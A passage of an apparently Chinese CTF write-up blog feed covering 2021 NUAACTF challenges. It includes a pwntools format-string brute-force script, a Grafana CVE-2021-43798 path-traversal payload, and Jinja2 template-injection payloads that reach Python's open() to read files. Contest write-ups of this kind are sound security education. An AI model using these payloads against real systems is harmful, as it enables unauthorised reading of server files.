  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>跑出用户名密码直接登陆就可以了</p>
<p>3、Baby Router Updater和4、ezchain，一个杂揉了web、crypto、misc、reverse，一个Java，我不会</p>
]]></content:encoded><h:img src="https://h4cker.zip/b87bf4/2022hufu_ctf.webp"/><enclosure url="https://h4cker.zip/b87bf4/2022hufu_ctf.webp"/><category>线上赛</category><category>WEB</category></item><item><title>2021NUAACTF WriteUp</title><link>https://h4cker.zip/04473e/</link><pubDate>Sat, 11 Dec 2021 23:46:35 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/04473e/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>拿了三等奖的奖金，这学期不打了，作业太多了</p>
<p><img
  src="/04473e/2021NUAACTF_score.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="683" height="368"
/>
</p>
<h2 id="pwn">pwn<a class="anchor" href="#pwn">#</a></h2>
<h3 id="format">format<a class="anchor" href="#format">#</a></h3>
<p>通过分析发现flag 放在buf指向的地址处!</p>
<p><img
  src="/04473e/2021NUAACTF_pwn_format_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="697" height="409"
/>
</p>
<p>直接爆破</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">n</span><span class="o">=</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">	<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">		<span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s2">&#34;118.195.147.196&#34;</span><span class="p">,</span><span class="mi">9238</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">		<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s1">&#39;%&#39;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="o">+</span><span class="s1">&#39;$s&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">		<span class="nb">print</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">		<span class="n">d</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">		<span class="k">if</span> <span class="sa">b</span><span class="s1">&#39;flag&#39;</span> <span class="ow">in</span> <span class="n">d</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">			<span class="nb">print</span><span class="p">(</span><span class="n">n</span><span class="p">,</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">			<span class="k">break</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">		<span class="nb">print</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">	<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">		<span class="k">pass</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">	<span class="n">n</span><span class="o">=</span><span class="n">n</span><span class="o">+</span><span class="mi">1</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p><img
  src="/04473e/2021NUAACTF_pwn_format_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1085" height="569"
/>
</p>
<h3 id="thread">thread<a class="anchor" href="#thread">#</a></h3>
<p>乱按就出了，视频为证，视频放压缩包里了</p>
<p><img
  src="/04473e/2021NUAACTF_pwn_thread_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1064" height="920"
/>
</p>
<h2 id="web">web<a class="anchor" href="#web">#</a></h2>
<h3 id="真的签到">真的签到<a class="anchor" href="#真的签到">#</a></h3>
<p>百度到<code>CVE-2021-43798</code>
payload:<code>/public/plugins/welcome/../../../../../../../../home/grafana/flag</code></p>
<p>hackbar传，好像前端处理了，把../搞没了，所以BP发包</p>
<p><img
  src="/04473e/2021NUAACTF_web_zdqd_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1539" height="596"
/>
</p>
<h3 id="baby_python">baby_python<a class="anchor" href="#baby_python">#</a></h3>
<p>前端应该做处理了看不见回显，使用BurpSuite
{% raw %}
传入<code>{{self}}</code>，返回模板数据</p>
<p><img
  src="/04473e/2021NUAACTF_web_baby_python_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1435" height="359"
/>
</p>
<p>常规了<code>self.__class__.__base__.__subclasses__()</code></p>
<p><img
  src="/04473e/2021NUAACTF_web_baby_python_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1515" height="678"
/>
</p>
<p>查看type类的初始化方法，传入<code>{{self.__class__.__base__.__subclasses__()[0].__init__}}</code>：</p>
<p><img
  src="/04473e/2021NUAACTF_web_baby_python_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1468" height="412"
/>

{% endraw %}
后面就是常规payload了，跑一下ls有文件名就直接获取了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">?name={ {().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__[&#39;open&#39;](&#39;flllll11111114aaaaaggggggggggggg&#39;).read()} }</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><em>注：上面代码块的花括号<code>{</code>与相邻花括号<code>{</code>之间不应该有空格，尾部的花括号同理。我加了空格是避免与Nunjucks的标签冲突所引起的解析错误。</em></p>
<p>参考<a
  href="https://www.aisoutu.com/a/345834" rel="nofollow noopener noreferrer" target="_blank"
  >文章<span style="user-select:none"> ↗</span></a
>
</p>
<h3 id="twister">Twister<a class="anchor" href="#twister">#</a></h3>
<p>抓包，发现pick抓不到，是前端js代码，那就读代码，js里有提示jiami.v5，js混淆这没解开，强行读js，发现有个路径</p>
<p><img
  src="/04473e/2021NUAACTF_web_Twister_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1611" height="677"
/>
</p>
<p>访问啥都没有，抓下包，flag在返回信息里</p>
<p><img
  src="/04473e/2021NUAACTF_web_Twister_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1464" height="427"
/>
</p>
<h2 id="misc">misc<a class="anchor" href="#misc">#</a></h2>
<h3 id="baby_mix">baby_mix<a class="anchor" href="#baby_mix">#</a></h3>
<p>伪加密，09改成00
图片上边左边看到白条，应该是lsb
stegsolve查看得到二维码
<img
  src="/04473e/2021NUAACTF_misc_baby_mix_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="964" height="1127"
/>

扫码得到</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">4a5a4a584732544748424658515654514f4634575135435447564a4749564a5347463455595754564f464c444f5752594f56465751334b55474a345841324b494b4a3546495533594b524a4449524b454b35435753334c324f4a41564153534f48424756515243574d355a464d3543474a593d3d3d3d3d3d</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>十六进制转字符串</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">JZJXG2TGHBFXQVTQOF4WQ5CTGVJGIVJSGF4UYWTVOFLDOWRYOVFWQ3KUGJ4XA2KIKJ5FIU3YKRJDIRKEK5CWS3L2OJAVASSOHBGVQRCWM5ZFM5CGJY======</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>base32</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">NSsjf8KxVpqyhtS5RdU21yLZuqV7Z8uKhmT2ypiHRzTSxTR4EDWEimzrAPJN8MXDVgrVtFN</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>base58</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">YXN1cml7aV90aGlua190aGF0X2lzX3NvX2Vhc3lfZm9yX3lvdX0=</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
